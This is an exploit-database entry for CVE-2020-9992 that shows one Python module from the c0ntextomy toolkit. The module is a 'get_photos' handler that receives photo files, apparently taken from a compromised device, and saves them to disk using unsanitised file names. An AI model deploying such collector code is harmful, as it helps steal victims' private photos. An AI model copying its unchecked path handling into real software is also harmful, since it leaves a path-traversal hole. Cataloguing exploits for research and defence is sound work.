Exploit databaseDownload repository ZIP
GH-57a1fa37a60cfc1e246b6768d1591437
c0ntextomy/c0ntextomy
Sources for CVE-2020-9992
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files2
c0ntextomy/c0ntextomyRevision f84c3b8130e9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
c0ntextomy/src/rec0ntextualizer/modules/get_photos/module.py
Python · 461 bytesimport os
def handle_client(client, artifacts_dir):
while True:
size, filename = client.get_tlv_packet()
if size == 0:
break
size, data = client.get_tlv_packet()
if size == 0:
break
client.log_info('get_photos: Received artifact with size: {}'.format(size))
artifact_path = os.path.join(artifacts_dir, filename)
with open(artifact_path, 'wb') as f:
f.write(data)